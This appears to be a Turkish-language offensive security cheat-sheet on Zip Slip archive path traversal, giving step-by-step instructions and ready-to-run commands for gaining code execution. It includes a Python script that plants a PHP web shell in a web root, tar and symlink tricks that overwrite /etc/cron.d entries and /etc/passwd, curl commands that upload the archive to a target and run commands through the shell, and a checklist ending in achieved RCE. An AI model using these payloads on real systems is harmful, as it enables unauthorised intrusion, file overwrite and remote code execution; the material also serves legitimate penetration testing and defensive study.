Skip to content

Archive Extraction Path Traversal

generic zip-slip

Uygulama kullanıcı arşivini güvenmeden açıyorsa ../ veya mutlak path ile webroot/SSH key üzerine yazılır. Classic Zip Slip → RCE.

  1. Upload/extract endpoint’ini ve açılan kütüphaneyi bul.

  2. ../ ve mutlak path içeren arşiv üret.

  3. Yazılan dosyanın konumunu (web shell / cron / authorized_keys) doğrula.

  4. Kod yürütme veya oturum primitifine çevir.

Terminal window
# kötü entry isimli zip
python3 <<'PY'
import zipfile
z=zipfile.ZipFile('evil.zip','w')
z.writestr('../../../../var/www/html/shell.php','<?php system($_GET["c"]); ?>')
z.close()
PY
Terminal window
zip -y evil.zip ../../../../tmp/pwned
Terminal window
curl -F 'file=@evil.zip' https://TARGET/upload
Terminal window
curl -sk 'https://TARGET/shell.php?c=id'
Terminal window
echo 'pwn' > x
Terminal window
tar --absolute-names -cf evil.tar /etc/cron.d/pwn 2>/dev/null || tar -cf evil.tar --transform='s|^|../../../etc/cron.d/|' x
Terminal window
ln -s /etc/passwd link
Terminal window
tar -cvhf evil.tar link
extract symlink → sonraki dosya /etc/passwd üzerine yazar
Terminal window
unzip -l evil.zip
Terminal window
python3 -c 'import zipfile
Terminal window
z=zipfile.ZipFile("evil.zip")
Terminal window
print(z.namelist())'
Terminal window
tar -tvf evil.tar
Terminal window
# hedefte
find /var/www /tmp /home -name 'shell.php' 2>/dev/null
[ ] extract endpoint bulundu
[ ] ../ veya symlink arşivi kabul edildi
[ ] yazılan path doğrulandı
[ ] RCE/oturum elde edildi